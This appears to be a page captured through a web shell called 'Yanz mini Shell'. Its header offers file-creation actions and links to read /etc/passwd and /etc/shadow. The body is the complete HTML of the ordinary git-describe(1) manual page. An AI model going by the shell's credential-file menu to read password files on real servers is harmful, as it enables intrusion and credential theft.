Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
    "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" />
<meta name="generator" content="AsciiDoc 8.6.10" />
<title>git-describe(1)</title>
<style type="text/css">
/* Shared CSS for AsciiDoc xhtml11 and html5 backends */

/* Default font. */
body {
  font-family: Georgia,serif;
}

/* Title font. */
h1, h2, h3, h4, h5, h6,
div.title, caption.title,
thead, p.table.header,
#toctitle,
#author, #revnumber, #revdate, #revremark,
#footer {
  font-family: Arial,Helvetica,sans-serif;
}

body {
  margin: 1em 5% 1em 5%;
}

a {
  color: blue;
  text-decoration: underline;
}
a:visited {
  color: fuchsia;
}

em {
  font-style: italic;
  color: navy;
}

strong {
  font-weight: bold;
  color: #083194;
}

h1, h2, h3, h4, h5, h6 {
  color: #527bbd;
  margin-top: 1.2em;
  margin-bottom: 0.5em;
  line-height: 1.3;
}

h1, h2, h3 {
  border-bottom: 2px solid silver;
}
h2 {
  padding-top: 0.5em;
}
h3 {
  float: left;
}
h3 + * {
  clear: left;
}
h5 {
  font-size: 1.0em;
}

div.sectionbody {
  margin-left: 0;
}

hr {
  border: 1px solid silver;
}

p {
  margin-top: 0.5em;
  margin-bottom: 0.5em;
}

ul, ol, li > p {
  margin-top: 0;
}
ul > li     { color: #aaa; }
ul > li > * { color: black; }

.monospaced, code, pre {
  font-family: "Courier New", Courier, monospace;
  font-size: inherit;
  color: navy;
  padding: 0;
  margin: 0;
}
pre {
  white-space: pre-wrap;
}

#author {
  color: #527bbd;
  font-weight: bold;
  font-size: 1.1em;
}
#email {
}
#revnumber, #revdate, #revremark {
}

#footer {
  font-size: small;
  border-top: 2px solid silver;
  padding-top: 0.5em;
  margin-top: 4.0em;
}
#footer-text {
  float: left;
  padding-bottom: 0.5em;
}
#footer-badges {
  float: right;
  padding-bottom: 0.5em;
}

#preamble {
  margin-top: 1.5em;
  margin-bottom: 1.5em;
}
div.imageblock, div.exampleblock, div.verseblock,
div.quoteblock, div.literalblock, div.listingblock, div.sidebarblock,
div.admonitionblock {
  margin-top: 1.0em;
  margin-bottom: 1.5em;
}
div.admonitionblock {
  margin-top: 2.0em;
  margin-bottom: 2.0em;
  margin-right: 10%;
  color: #606060;
}

div.content { /* Block element content. */
  padding: 0;
}

/* Block element titles. */
div.title, caption.title {
  color: #527bbd;
  font-weight: bold;
  text-align: left;
  margin-top: 1.0em;
  margin-bottom: 0.5em;
}
div.title + * {
  margin-top: 0;
}

td div.title:first-child {
  margin-top: 0.0em;
}
div.content div.title:first-child {
  margin-top: 0.0em;
}
div.content + div.title {
  margin-top: 0.0em;
}

div.sidebarblock > div.content {
  background: #ffffee;
  border: 1px solid #dddddd;
  border-left: 4px solid #f0f0f0;
  padding: 0.5em;
}

div.listingblock > div.content {
  border: 1px solid #dddddd;
  border-left: 5px solid #f0f0f0;
  background: #f8f8f8;
  padding: 0.5em;
}

div.quoteblock, div.verseblock {
  padding-left: 1.0em;
  margin-left: 1.0em;
  margin-right: 10%;
  border-left: 5px solid #f0f0f0;
  color: #888;
}

div.quoteblock > div.attribution {
  padding-top: 0.5em;
  text-align: right;
}

div.verseblock > pre.content {
  font-family: inherit;
  font-size: inherit;
}
div.verseblock > div.attribution {
  padding-top: 0.75em;
  text-align: left;
}
/* DEPRECATED: Pre version 8.2.7 verse style literal block. */
div.verseblock + div.attribution {
  text-align: left;
}

div.admonitionblock .icon {
  vertical-align: top;
  font-size: 1.1em;
  font-weight: bold;
  text-decoration: underline;
  color: #527bbd;
  padding-right: 0.5em;
}
div.admonitionblock td.content {
  padding-left: 0.5em;
  border-left: 3px solid #dddddd;
}

div.exampleblock > div.content {
  border-left: 3px solid #dddddd;
  padding-left: 0.5em;
}

div.imageblock div.content { padding-left: 0; }
span.image img { border-style: none; vertical-align: text-bottom; }
a.image:visited { color: white; }

dl {
  margin-top: 0.8em;
  margin-bottom: 0.8em;
}
dt {
  margin-top: 0.5em;
  margin-bottom: 0;
  font-style: normal;
  color: navy;
}
dd > *:first-child {
  margin-top: 0.1em;
}

ul, ol {
    list-style-position: outside;
}
ol.arabic {
  list-style-type: decimal;
}
ol.loweralpha {
  list-style-type: lower-alpha;
}
ol.upperalpha {
  list-style-type: upper-alpha;
}
ol.lowerroman {
  list-style-type: lower-roman;
}
ol.upperroman {
  list-style-type: upper-roman;
}

div.compact ul, div.compact ol,
div.compact p, div.compact p,
div.compact div, div.compact div {
  margin-top: 0.1em;
  margin-bottom: 0.1em;
}

tfoot {
  font-weight: bold;
}
td > div.verse {
  white-space: pre;
}

div.hdlist {
  margin-top: 0.8em;
  margin-bottom: 0.8em;
}
div.hdlist tr {
  padding-bottom: 15px;
}
dt.hdlist1.strong, td.hdlist1.strong {
  font-weight: bold;
}
td.hdlist1 {
  vertical-align: top;
  font-style: normal;
  padding-right: 0.8em;
  color: navy;
}
td.hdlist2 {
  vertical-align: top;
}
div.hdlist.compact tr {
  margin: 0;
  padding-bottom: 0;
}

.comment {
  background: yellow;
}

.footnote, .footnoteref {
  font-size: 0.8em;
}

span.footnote, span.footnoteref {
  vertical-align: super;
}

#footnotes {
  margin: 20px 0 20px 0;
  padding: 7px 0 0 0;
}

#footnotes div.footnote {
  margin: 0 0 5px 0;
}

#footnotes hr {
  border: none;
  border-top: 1px solid silver;
  height: 1px;
  text-align: left;
  margin-left: 0;
  width: 20%;
  min-width: 100px;
}

div.colist td {
  padding-right: 0.5em;
  padding-bottom: 0.3em;
  vertical-align: top;
}
div.colist td img {
  margin-top: 0.3em;
}

@media print {
  #footer-badges { display: none; }
}

#toc {
  margin-bottom: 2.5em;
}

#toctitle {
  color: #527bbd;
  font-size: 1.1em;
  font-weight: bold;
  margin-top: 1.0em;
  margin-bottom: 0.1em;
}

div.toclevel0, div.toclevel1, div.toclevel2, div.toclevel3, div.toclevel4 {
  margin-top: 0;
  margin-bottom: 0;
}
div.toclevel2 {
  margin-left: 2em;
  font-size: 0.9em;
}
div.toclevel3 {
  margin-left: 4em;
  font-size: 0.9em;
}
div.toclevel4 {
  margin-left: 6em;
  font-size: 0.9em;
}

span.aqua { color: aqua; }
span.black { color: black; }
span.blue { color: blue; }
span.fuchsia { color: fuchsia; }
span.gray { color: gray; }
span.green { color: green; }
span.lime { color: lime; }
span.maroon { color: maroon; }
span.navy { color: navy; }
span.olive { color: olive; }
span.purple { color: purple; }
span.red { color: red; }
span.silver { color: silver; }
span.teal { color: teal; }
span.white { color: white; }
span.yellow { color: yellow; }

span.aqua-background { background: aqua; }
span.black-background { background: black; }
span.blue-background { background: blue; }
span.fuchsia-background { background: fuchsia; }
span.gray-background { background: gray; }
span.green-background { background: green; }
span.lime-background { background: lime; }
span.maroon-background { background: maroon; }
span.navy-background { background: navy; }
span.olive-background { background: olive; }
span.purple-background { background: purple; }
span.red-background { background: red; }
span.silver-background { background: silver; }
span.teal-background { background: teal; }
span.white-background { background: white; }
span.yellow-background { background: yellow; }

span.big { font-size: 2em; }
span.small { font-size: 0.6em; }

span.underline { text-decoration: underline; }
span.overline { text-decoration: overline; }
span.line-through { text-decoration: line-through; }

div.unbreakable { page-break-inside: avoid; }

/*
 * xhtml11 specific
 *
 * */

div.tableblock {
  margin-top: 1.0em;
  margin-bottom: 1.5em;
}
div.tableblock > table {
  border: 3px solid #527bbd;
}
thead, p.table.header {
  font-weight: bold;
  color: #527bbd;
}
p.table {
  margin-top: 0;
}
/* Because the table frame attribute is overriden by CSS in most browsers. */
div.tableblock > table[frame="void"] {
  border-style: none;
}
div.tableblock > table[frame="hsides"] {
  border-left-style: none;
  border-right-style: none;
}
div.tableblock > table[frame="vsides"] {
  border-top-style: none;
  border-bottom-style: none;
}

/*
 * html5 specific
 *
 * */

table.tableblock {
  margin-top: 1.0em;
  margin-bottom: 1.5em;
}
thead, p.tableblock.header {
  font-weight: bold;
  color: #527bbd;
}
p.tableblock {
  margin-top: 0;
}
table.tableblock {
  border-width: 3px;
  border-spacing: 0px;
  border-style: solid;
  border-color: #527bbd;
  border-collapse: collapse;
}
th.tableblock, td.tableblock {
  border-width: 1px;
  padding: 4px;
  border-style: solid;
  border-color: #527bbd;
}

table.tableblock.frame-topbot {
  border-left-style: hidden;
  border-right-style: hidden;
}
table.tableblock.frame-sides {
  border-top-style: hidden;
  border-bottom-style: hidden;
}
table.tableblock.frame-none {
  border-style: hidden;
}

th.tableblock.halign-left, td.tableblock.halign-left {
  text-align: left;
}
th.tableblock.halign-center, td.tableblock.halign-center {
  text-align: center;
}
th.tableblock.halign-right, td.tableblock.halign-right {
  text-align: right;
}

th.tableblock.valign-top, td.tableblock.valign-top {
  vertical-align: top;
}
th.tableblock.valign-middle, td.tableblock.valign-middle {
  vertical-align: middle;
}
th.tableblock.valign-bottom, td.tableblock.valign-bottom {
  vertical-align: bottom;
}

/*
 * manpage specific
 *
 * */

body.manpage h1 {
  padding-top: 0.5em;
  padding-bottom: 0.5em;
  border-top: 2px solid silver;
  border-bottom: 2px solid silver;
}
body.manpage h2 {
  border-style: none;
}
body.manpage div.sectionbody {
  margin-left: 3em;
}

@media print {
  body.manpage div#toc { display: none; }
}

</style>
<script type="text/javascript">
/*<![CDATA[*/
var asciidoc = {  // Namespace.

/////////////////////////////////////////////////////////////////////
// Table Of Contents generator
/////////////////////////////////////////////////////////////////////

/* Author: Mihai Bazon, September 2002
 * http://students.infoiasi.ro/~mishoo
 *
 * Table Of Content generator
 * Version: 0.4
 *
 * Feel free to use this script under the terms of the GNU General Public
 * License, as long as you do not remove or alter this notice.
 */

/* modified by Troy D. Hanson, September 2006. License: GPL */
 /* modified by Stuart Rackham, 2006, 2009. License: GPL */

// toclevels = 1..4.
toc: function (toclevels) {

function getText(el) {
    var text = "";
    for (var i = el.firstChild; i != null; i = i.nextSibling) {
      if (i.nodeType == 3 /* Node.TEXT_NODE */) // IE doesn't speak constants.
        text += i.data;
      else if (i.firstChild != null)
        text += getText(i);
    }
    return text;
  }

function TocEntry(el, text, toclevel) {
    this.element = el;
    this.text = text;
    this.toclevel = toclevel;
  }

var toc = document.getElementById("toc");
  if (!toc) {
    return;
  }

// Delete existing TOC entries in case we're reloading the TOC.
  var tocEntriesToRemove = [];
  var i;
  for (i = 0; i < toc.childNodes.length; i++) {
    var entry = toc.childNodes[i];
    if (entry.nodeName.toLowerCase() == 'div'
     && entry.getAttribute("class")
     && entry.getAttribute("class").match(/^toclevel/))
      tocEntriesToRemove.push(entry);
  }
  for (i = 0; i < tocEntriesToRemove.length; i++) {
    toc.removeChild(tocEntriesToRemove[i]);
  }

// Rebuild TOC entries.
  var entries = tocEntries(document.getElementById("content"), toclevels);
  for (var i = 0; i < entries.length; ++i) {
    var entry = entries[i];
    if (entry.element.id == "")
      entry.element.id = "_toc_" + i;
    var a = document.createElement("a");
    a.href = "#" + entry.element.id;
    a.appendChild(document.createTextNode(entry.text));
    var div = document.createElement("div");
    div.appendChild(a);
    div.className = "toclevel" + entry.toclevel;
    toc.appendChild(div);
  }
  if (entries.length == 0)
    toc.parentNode.removeChild(toc);
},

/////////////////////////////////////////////////////////////////////
// Footnotes generator
/////////////////////////////////////////////////////////////////////

/* Based on footnote generation code from:
 * http://www.brandspankingnew.net/archive/2005/07/format_footnote.html
 */

footnotes: function () {
  // Delete existing footnote entries in case we're reloading the footnodes.
  var i;
  var noteholder = document.getElementById("footnotes");
  if (!noteholder) {
    return;
  }
  var entriesToRemove = [];
  for (i = 0; i < noteholder.childNodes.length; i++) {
    var entry = noteholder.childNodes[i];
    if (entry.nodeName.toLowerCase() == 'div' && entry.getAttribute("class") == "footnote")
      entriesToRemove.push(entry);
  }
  for (i = 0; i < entriesToRemove.length; i++) {
    noteholder.removeChild(entriesToRemove[i]);
  }

// Rebuild footnote entries.
  var cont = document.getElementById("content");
  var spans = cont.getElementsByTagName("span");
  var refs = {};
  var n = 0;
  for (i=0; i<spans.length; i++) {
    if (spans[i].className == "footnote") {
      n++;
      var note = spans[i].getAttribute("data-note");
      if (!note) {
        // Use [\s\S] in place of . so multi-line matches work.
        // Because JavaScript has no s (dotall) regex flag.
        note = spans[i].innerHTML.match(/\s*\[([\s\S]*)]\s*/)[1];
        spans[i].innerHTML =
          "[<a id='_footnoteref_" + n + "' href='#_footnote_" + n +
          "' title='View footnote' class='footnote'>" + n + "</a>]";
        spans[i].setAttribute("data-note", note);
      }
      noteholder.innerHTML +=
        "<div class='footnote' id='_footnote_" + n + "'>" +
        "<a href='#_footnoteref_" + n + "' title='Return to text'>" +
        n + "</a>. " + note + "</div>";
      var id =spans[i].getAttribute("id");
      if (id != null) refs["#"+id] = n;
    }
  }
  if (n == 0)
    noteholder.parentNode.removeChild(noteholder);
  else {
    // Process footnoterefs.
    for (i=0; i<spans.length; i++) {
      if (spans[i].className == "footnoteref") {
        var href = spans[i].getElementsByTagName("a")[0].getAttribute("href");
        href = href.match(/#.*/)[0];  // Because IE return full URL.
        n = refs[href];
        spans[i].innerHTML =
          "[<a href='#_footnote_" + n +
          "' title='View footnote' class='footnote'>" + n + "</a>]";
      }
    }
  }
},

install: function(toclevels) {
  var timerId;

function reinstall() {
    asciidoc.footnotes();
    if (toclevels) {
      asciidoc.toc(toclevels);
    }
  }

function reinstallAndRemoveTimer() {
    clearInterval(timerId);
    reinstall();
  }

timerId = setInterval(reinstall, 500);
  if (document.addEventListener)
    document.addEventListener("DOMContentLoaded", reinstallAndRemoveTimer, false);
  else
    window.onload = reinstallAndRemoveTimer;
}

}
asciidoc.install();
/*]]>*/
</script>
</head>
<body class="manpage">
<div id="header">
<h1>
git-describe(1) Manual Page
</h1>
<h2>NAME</h2>
<div class="sectionbody">
<p>git-describe -
   Give an object a human readable name based on an available ref
</p>
</div>
</div>
<div id="content">
<div class="sect1">
<h2 id="_synopsis">SYNOPSIS</h2>
<div class="sectionbody">
<div class="verseblock">
<pre class="content"><em>git describe</em> [--all] [--tags] [--contains] [--abbrev=&lt;n&gt;] [&lt;commit-ish&gt;&#8230;]
<em>git describe</em> [--all] [--tags] [--contains] [--abbrev=&lt;n&gt;] --dirty[=&lt;mark&gt;]
<em>git describe</em> &lt;blob&gt;</pre>
<div class="attribution">
</div></div>
</div>
</div>
<div class="sect1">
<h2 id="_description">DESCRIPTION</h2>
<div class="sectionbody">
<div class="paragraph"><p>The command finds the most recent tag that is reachable from a
commit.  If the tag points to the commit, then only the tag is
shown.  Otherwise, it suffixes the tag name with the number of
additional commits on top of the tagged object and the
abbreviated object name of the most recent commit. The result
is a "human-readable" object name which can also be used to
identify the commit to other git commands.</p></div>
<div class="paragraph"><p>By default (without --all or --tags) <code>git describe</code> only shows
annotated tags.  For more information about creating annotated tags
see the -a and -s options to <a href="git-tag.html">git-tag(1)</a>.</p></div>
<div class="paragraph"><p>If the given object refers to a blob, it will be described
as <code>&lt;commit-ish&gt;:&lt;path&gt;</code>, such that the blob can be found
at <code>&lt;path&gt;</code> in the <code>&lt;commit-ish&gt;</code>, which itself describes the
first commit in which this blob occurs in a reverse revision walk
from HEAD.</p></div>
</div>
</div>
<div class="sect1">
<h2 id="_options">OPTIONS</h2>
<div class="sectionbody">
<div class="dlist"><dl>
<dt class="hdlist1">
&lt;commit-ish&gt;&#8230;
</dt>
<dd>
<p>
        Commit-ish object names to describe.  Defaults to HEAD if omitted.
</p>
</dd>
<dt class="hdlist1">
--dirty[=&lt;mark&gt;]
</dt>
<dt class="hdlist1">
--broken[=&lt;mark&gt;]
</dt>
<dd>
<p>
        Describe the state of the working tree.  When the working
        tree matches HEAD, the output is the same as "git describe
        HEAD".  If the working tree has local modification "-dirty"
        is appended to it.  If a repository is corrupt and Git
        cannot determine if there is local modification, Git will
        error out, unless &#8216;--broken&#8217; is given, which appends
        the suffix "-broken" instead.
</p>
</dd>
<dt class="hdlist1">
--all
</dt>
<dd>
<p>
        Instead of using only the annotated tags, use any ref
        found in <code>refs/</code> namespace.  This option enables matching
        any known branch, remote-tracking branch, or lightweight tag.
</p>
</dd>
<dt class="hdlist1">
--tags
</dt>
<dd>
<p>
        Instead of using only the annotated tags, use any tag
        found in <code>refs/tags</code> namespace.  This option enables matching
        a lightweight (non-annotated) tag.
</p>
</dd>
<dt class="hdlist1">
--contains
</dt>
<dd>
<p>
        Instead of finding the tag that predates the commit, find
        the tag that comes after the commit, and thus contains it.
        Automatically implies --tags.
</p>
</dd>
<dt class="hdlist1">
--abbrev=&lt;n&gt;
</dt>
<dd>
<p>
        Instead of using the default number of hexadecimal digits (which
        will vary according to the number of objects in the repository with
        a default of 7) of the abbreviated object name, use &lt;n&gt; digits, or
        as many digits as needed to form a unique object name. An &lt;n&gt; of 0
        will suppress long format, only showing the closest tag.
</p>
</dd>
<dt class="hdlist1">
--candidates=&lt;n&gt;
</dt>
<dd>
<p>
        Instead of considering only the 10 most recent tags as
        candidates to describe the input commit-ish consider
        up to &lt;n&gt; candidates.  Increasing &lt;n&gt; above 10 will take
        slightly longer but may produce a more accurate result.
        An &lt;n&gt; of 0 will cause only exact matches to be output.
</p>
</dd>
<dt class="hdlist1">
--exact-match
</dt>
<dd>
<p>
        Only output exact matches (a tag directly references the
        supplied commit).  This is a synonym for --candidates=0.
</p>
</dd>
<dt class="hdlist1">
--debug
</dt>
<dd>
<p>
        Verbosely display information about the searching strategy
        being employed to standard error.  The tag name will still
        be printed to standard out.
</p>
</dd>
<dt class="hdlist1">
--long
</dt>
<dd>
<p>
        Always output the long format (the tag, the number of commits
        and the abbreviated commit name) even when it matches a tag.
        This is useful when you want to see parts of the commit object name
        in "describe" output, even when the commit in question happens to be
        a tagged version.  Instead of just emitting the tag name, it will
        describe such a commit as v1.2-0-gdeadbee (0th commit since tag v1.2
        that points at object deadbee&#8230;.).
</p>
</dd>
<dt class="hdlist1">
--match &lt;pattern&gt;
</dt>
<dd>
<p>
        Only consider tags matching the given <code>glob(7)</code> pattern,
        excluding the "refs/tags/" prefix. If used with <code>--all</code>, it also
        considers local branches and remote-tracking references matching the
        pattern, excluding respectively "refs/heads/" and "refs/remotes/"
        prefix; references of other types are never considered. If given
        multiple times, a list of patterns will be accumulated, and tags
        matching any of the patterns will be considered.  Use <code>--no-match</code> to
        clear and reset the list of patterns.
</p>
</dd>
<dt class="hdlist1">
--exclude &lt;pattern&gt;
</dt>
<dd>
<p>
        Do not consider tags matching the given <code>glob(7)</code> pattern, excluding
        the "refs/tags/" prefix. If used with <code>--all</code>, it also does not consider
        local branches and remote-tracking references matching the pattern,
        excluding respectively "refs/heads/" and "refs/remotes/" prefix;
        references of other types are never considered. If given multiple times,
        a list of patterns will be accumulated and tags matching any of the
        patterns will be excluded. When combined with --match a tag will be
        considered when it matches at least one --match pattern and does not
        match any of the --exclude patterns. Use <code>--no-exclude</code> to clear and
        reset the list of patterns.
</p>
</dd>
<dt class="hdlist1">
--always
</dt>
<dd>
<p>
        Show uniquely abbreviated commit object as fallback.
</p>
</dd>
<dt class="hdlist1">
--first-parent
</dt>
<dd>
<p>
        Follow only the first parent commit upon seeing a merge commit.
        This is useful when you wish to not match tags on branches merged
        in the history of the target commit.
</p>
</dd>
</dl></div>
</div>
</div>
<div class="sect1">
<h2 id="_examples">EXAMPLES</h2>
<div class="sectionbody">
<div class="paragraph"><p>With something like git.git current tree, I get:</p></div>
<div class="literalblock">
<div class="content">
<pre><code>[torvalds@g5 git]$ git describe parent
v1.0.4-14-g2414721</code></pre>
</div></div>
<div class="paragraph"><p>i.e. the current head of my "parent" branch is based on v1.0.4,
but since it has a few commits on top of that,
describe has added the number of additional commits ("14") and
an abbreviated object name for the commit itself ("2414721")
at the end.</p></div>
<div class="paragraph"><p>The number of additional commits is the number
of commits which would be displayed by "git log v1.0.4..parent".
The hash suffix is "-g" + an unambiguous abbreviation for the tip commit
of parent (which was <code>2414721b194453f058079d897d13c4e377f92dc6</code>). The
length of the abbreviation scales as the repository grows, using the
approximate number of objects in the repository and a bit of math
around the birthday paradox, and defaults to a minimum of 7.
The "g" prefix stands for "git" and is used to allow describing the version of
a software depending on the SCM the software is managed with. This is useful
in an environment where people may use different SCMs.</p></div>
<div class="paragraph"><p>Doing a <em>git describe</em> on a tag-name will just show the tag name:</p></div>
<div class="literalblock">
<div class="content">
<pre><code>[torvalds@g5 git]$ git describe v1.0.4
v1.0.4</code></pre>
</div></div>
<div class="paragraph"><p>With --all, the command can use branch heads as references, so
the output shows the reference path as well:</p></div>
<div class="literalblock">
<div class="content">
<pre><code>[torvalds@g5 git]$ git describe --all --abbrev=4 v1.0.5^2
tags/v1.0.0-21-g975b</code></pre>
</div></div>
<div class="literalblock">
<div class="content">
<pre><code>[torvalds@g5 git]$ git describe --all --abbrev=4 HEAD^
heads/lt/describe-7-g975b</code></pre>
</div></div>
<div class="paragraph"><p>With --abbrev set to 0, the command can be used to find the
closest tagname without any suffix:</p></div>
<div class="literalblock">
<div class="content">
<pre><code>[torvalds@g5 git]$ git describe --abbrev=0 v1.0.5^2
tags/v1.0.0</code></pre>
</div></div>
<div class="paragraph"><p>Note that the suffix you get if you type these commands today may be
longer than what Linus saw above when he ran these commands, as your
Git repository may have new commits whose object names begin with
975b that did not exist back then, and "-g975b" suffix alone may not
be sufficient to disambiguate these commits.</p></div>
</div>
</div>
<div class="sect1">
<h2 id="_search_strategy">SEARCH STRATEGY</h2>
<div class="sectionbody">
<div class="paragraph"><p>For each commit-ish supplied, <em>git describe</em> will first look for
a tag which tags exactly that commit.  Annotated tags will always
be preferred over lightweight tags, and tags with newer dates will
always be preferred over tags with older dates.  If an exact match
is found, its name will be output and searching will stop.</p></div>
<div class="paragraph"><p>If an exact match was not found, <em>git describe</em> will walk back
through the commit history to locate an ancestor commit which
has been tagged.  The ancestor&#8217;s tag will be output along with an
abbreviation of the input commit-ish&#8217;s SHA-1. If <code>--first-parent</code> was
specified then the walk will only consider the first parent of each
commit.</p></div>
<div class="paragraph"><p>If multiple tags were found during the walk then the tag which
has the fewest commits different from the input commit-ish will be
selected and output.  Here fewest commits different is defined as
the number of commits which would be shown by <code>git log tag..input</code>
will be the smallest number of commits possible.</p></div>
</div>
</div>
<div class="sect1">
<h2 id="_bugs">BUGS</h2>
<div class="sectionbody">
<div class="paragraph"><p>Tree objects as well as tag objects not pointing at commits, cannot be described.
When describing blobs, the lightweight tags pointing at blobs are ignored,
but the blob is still described as &lt;commit-ish&gt;:&lt;path&gt; despite the lightweight
tag being favorable.</p></div>
</div>
</div>
<div class="sect1">
<h2 id="_git">GIT</h2>
<div class="sectionbody">
<div class="paragraph"><p>Part of the <a href="git.html">git(1)</a> suite</p></div>
</div>
</div>
</div>
<div id="footnotes"><hr /></div>
<div id="footer">
<div id="footer-text">
Last updated
 2024-05-31 00:41:06 UTC
</div>
</div>
</body>
</html>